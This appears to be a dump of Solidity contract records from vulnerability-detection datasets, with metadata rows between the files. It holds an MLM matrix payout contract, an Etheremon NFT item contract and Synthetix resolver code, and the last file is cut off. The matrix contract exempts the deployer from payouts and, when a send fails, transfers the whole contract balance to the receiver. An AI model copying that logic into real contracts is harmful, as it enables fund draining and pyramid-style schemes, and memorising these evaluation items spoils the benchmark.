users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(creator, userAddress, 1, level);
users[creator].x3Matrix[level].reinvestCount++;
emit Reinvest(creator, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == creator) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != creator) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(creator, address(0), userAddress, 2, level);
sendETHDividends(creator, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
if(msg.sender!=deployer)
{
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function viewLevels(address user) public view returns (bool[12] memory x3Levels, bool[12] memory x6Levels,uint8 x3LastTrue, uint8 x6LastTrue)
{
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
x3Levels[i] = users[user].activeX3Levels[i];
if(x3Levels[i]) x3LastTrue = i;
x6Levels[i] = users[user].activeX6Levels[i];
if(x6Levels[i]) x6LastTrue = i;
}
}
}
| 293,708 | 13,236 |
69c862cb33aa28941ac34b50d34f60d7bdb7f258533a3e17d9ed2889a2fbca01
| 19,123 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x8b063485c2e7d18519b4d2227ec35dc761cc25df.sol
| 4,747 | 17,851 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract SupportsInterface is ERC165 {
mapping(bytes4 => bool) internal supportedInterfaces;
constructor() public {
supportedInterfaces[0x01ffc9a7] = true; // ERC165
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return supportedInterfaces[_interfaceID];
}
}
interface ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface ERC721Metadata {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
interface ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4);
}
contract NFToken is ERC721, SupportsInterface {
using SafeMath for uint256;
using AddressUtils for address;
// A mapping from NFT ID to the address that owns it.
mapping (uint256 => address) internal idToOwner;
// Mapping from NFT ID to approved address.
mapping (uint256 => address) internal idToApprovals;
// Mapping from owner address to count of his tokens.
mapping (address => uint256) internal ownerToNFTokenCount;
// Mapping from owner address to mapping of operator addresses.
mapping (address => mapping (address => bool)) internal ownerToOperators;
bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || getApproved(_tokenId) == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0));
_;
}
constructor() public {
supportedInterfaces[0x80ac58cd] = true; // ERC721
}
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return ownerToNFTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) external view returns (address _owner) {
_owner = idToOwner[_tokenId];
require(_owner != address(0));
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApprovals[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
require(_operator != address(0));
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) public view validNFToken(_tokenId) returns (address) {
return idToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
require(_owner != address(0));
require(_operator != address(0));
return ownerToOperators[_owner][_operator];
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) internal canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
if (_to.isContract()) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _transfer(address _to, uint256 _tokenId) private {
address from = idToOwner[_tokenId];
clearApproval(_tokenId);
removeNFToken(from, _tokenId);
addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_tokenId != 0);
require(idToOwner[_tokenId] == address(0));
addNFToken(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) validNFToken(_tokenId) internal {
clearApproval(_tokenId);
removeNFToken(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(uint256 _tokenId) private {
if(idToApprovals[_tokenId] != 0) {
delete idToApprovals[_tokenId];
}
}
function removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from);
assert(ownerToNFTokenCount[_from] > 0);
ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1;
delete idToOwner[_tokenId];
}
function addNFToken(address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == address(0));
idToOwner[_tokenId] = _to;
ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].add(1);
}
}
contract NFTokenEnumerable is NFToken, ERC721Enumerable {
// Array of all NFT IDs.
uint256[] internal tokens;
// Mapping from token ID its index in global tokens array.
mapping(uint256 => uint256) internal idToIndex;
// Mapping from owner to list of owned NFT IDs.
mapping(address => uint256[]) internal ownerToIds;
// Mapping from NFT ID to its index in the owner tokens list.
mapping(uint256 => uint256) internal idToOwnerIndex;
constructor() public {
supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
uint256 length = tokens.push(_tokenId);
idToIndex[_tokenId] = length - 1;
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
assert(tokens.length > 0);
uint256 tokenIndex = idToIndex[_tokenId];
// Sanity check. This could be removed in the future.
assert(tokens[tokenIndex] == _tokenId);
uint256 lastTokenIndex = tokens.length - 1;
uint256 lastToken = tokens[lastTokenIndex];
tokens[tokenIndex] = lastToken;
tokens.length--;
// Consider adding a conditional check for the last token in order to save GAS.
idToIndex[lastToken] = tokenIndex;
idToIndex[_tokenId] = 0;
}
function removeNFToken(address _from, uint256 _tokenId) internal
{
super.removeNFToken(_from, _tokenId);
assert(ownerToIds[_from].length > 0);
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length - 1;
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
ownerToIds[_from].length--;
// Consider adding a conditional check for the last token in order to save GAS.
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
idToOwnerIndex[_tokenId] = 0;
}
function addNFToken(address _to, uint256 _tokenId) internal {
super.addNFToken(_to, _tokenId);
uint256 length = ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = length - 1;
}
function totalSupply() external view returns (uint256) {
return tokens.length;
}
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < tokens.length);
// Sanity check. This could be removed in the future.
assert(idToIndex[tokens[_index]] == _index);
return tokens[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
}
contract NFTStandard is NFTokenEnumerable, ERC721Metadata {
string internal nftName;
string internal nftSymbol;
mapping (uint256 => string) internal idToUri;
constructor(string _name, string _symbol) public {
nftName = _name;
nftSymbol = _symbol;
supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(idToUri[_tokenId]).length != 0) {
delete idToUri[_tokenId];
}
}
function _setTokenUri(uint256 _tokenId, string _uri) validNFToken(_tokenId) internal {
idToUri[_tokenId] = _uri;
}
function name() external view returns (string _name) {
_name = nftName;
}
function symbol() external view returns (string _symbol) {
_symbol = nftSymbol;
}
function tokenURI(uint256 _tokenId) validNFToken(_tokenId) external view returns (string) {
return idToUri[_tokenId];
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
interface EtheremonAdventureHandler {
function handleSingleItem(address _sender, uint _classId, uint _value, uint _target, uint _param) external;
function handleMultipleItems(address _sender, uint _classId1, uint _classId2, uint _classId3, uint _target, uint _param) external;
}
contract EtheremonAdventureItem is NFTStandard("EtheremonAdventure", "EMOND"), BasicAccessControl {
uint constant public MAX_OWNER_PERS_SITE = 10;
uint constant public MAX_SITE_ID = 108;
uint constant public MAX_SITE_TOKEN_ID = 1080;
// smartcontract
address public adventureHandler;
// class sites: 1 -> 108
// shard: 109 - 126
// level, exp
struct Item {
uint classId;
uint value;
}
uint public totalItem = MAX_SITE_TOKEN_ID;
mapping (uint => Item) public items; // token id => info
modifier requireAdventureHandler {
require(adventureHandler != address(0));
_;
}
function setAdventureHandler(address _adventureHandler) onlyModerators external {
adventureHandler = _adventureHandler;
}
function setTokenURI(uint256 _tokenId, string _uri) onlyModerators external {
_setTokenUri(_tokenId, _uri);
}
function spawnSite(uint _classId, uint _tokenId, address _owner) onlyModerators external {
if (_owner == address(0)) revert();
if (_classId > MAX_SITE_ID || _classId == 0 || _tokenId > MAX_SITE_TOKEN_ID || _tokenId == 0) revert();
Item storage item = items[_tokenId];
if (item.classId != 0) revert(); // token existed
item.classId = _classId;
_mint(_owner, _tokenId);
}
function spawnItem(uint _classId, uint _value, address _owner) onlyModerators external returns(uint) {
if (_owner == address(0)) revert();
if (_classId < MAX_SITE_ID) revert();
totalItem += 1;
Item storage item = items[totalItem];
item.classId = _classId;
item.value = _value;
_mint(_owner, totalItem);
return totalItem;
}
// public write
function useSingleItem(uint _tokenId, uint _target, uint _param) isActive requireAdventureHandler public {
// check ownership
if (_tokenId == 0 || idToOwner[_tokenId] != msg.sender) revert();
Item storage item = items[_tokenId];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleSingleItem(msg.sender, item.classId, item.value, _target, _param);
_burn(msg.sender, _tokenId);
}
function useMultipleItem(uint _token1, uint _token2, uint _token3, uint _target, uint _param) isActive requireAdventureHandler public {
if (_token1 > 0 && idToOwner[_token1] != msg.sender) revert();
if (_token2 > 0 && idToOwner[_token2] != msg.sender) revert();
if (_token3 > 0 && idToOwner[_token3] != msg.sender) revert();
Item storage item1 = items[_token1];
Item storage item2 = items[_token2];
Item storage item3 = items[_token3];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleMultipleItems(msg.sender, item1.classId, item2.classId, item3.classId, _target, _param);
if (_token1 > 0) _burn(msg.sender, _token1);
if (_token2 > 0) _burn(msg.sender, _token2);
if (_token3 > 0) _burn(msg.sender, _token3);
}
// public read
function getItemInfo(uint _tokenId) constant public returns(uint classId, uint value) {
Item storage item = items[_tokenId];
classId = item.classId;
value = item.value;
}
}
| 218,028 | 13,237 |
13cb23423a5e307b229bba450f7a1fd72629e3296414764988411a161f213cfd
| 30,165 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/9f/9f871Fc8E2a9Aa09b6181eB366F218aA860F6967_OneNetAggregatorsAAVE.sol
| 4,995 | 20,452 |
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getSynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.synthetix.io/contracts/source/interfaces/isynth
interface ISynth {
// Views
function currencyKey() external view returns (bytes32);
function transferableSynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(address from,
address to,
uint value) external returns (bool);
// Restricted: used internally to Synthetix
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function allNetworksDebtInfo()
external
view
returns (uint256 debt,
uint256 sharesSupply,
bool isStale);
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function canBurnSynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableSynths(address issuer)
external
view
returns (uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt);
function synths(bytes32 currencyKey) external view returns (ISynth);
function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint);
function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
function liquidationAmounts(address account, bool isSelfLiquidation)
external
view
returns (uint totalRedeemed,
uint debtToRemove,
uint escrowToLiquidate,
uint initialDebtBalance);
// Restricted: used internally to Synthetix
function addSynths(ISynth[] calldata synthsToAdd) external;
function issueSynths(address from, uint amount) external;
function issueSynthsOnBehalf(address issueFor,
address from,
uint amount) external;
function issueMaxSynths(address from) external;
function issueMaxSynthsOnBehalf(address issueFor, address from) external;
function burnSynths(address from, uint amount) external;
function burnSynthsOnBehalf(address burnForAddress,
address from,
uint amount) external;
function burnSynthsToTarget(address from) external;
function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external;
function burnForRedemption(address deprecatedSynthProxy,
address account,
uint balance) external;
function setCurrentPeriodId(uint128 periodId) external;
function liquidateAccount(address account, bool isSelfLiquidation)
external
returns (uint totalRedeemed,
uint debtRemoved,
uint escrowToLiquidate);
function issueSynthsWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
function burnSynthsWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
}
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
event CacheUpdated(bytes32 name, address destination);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
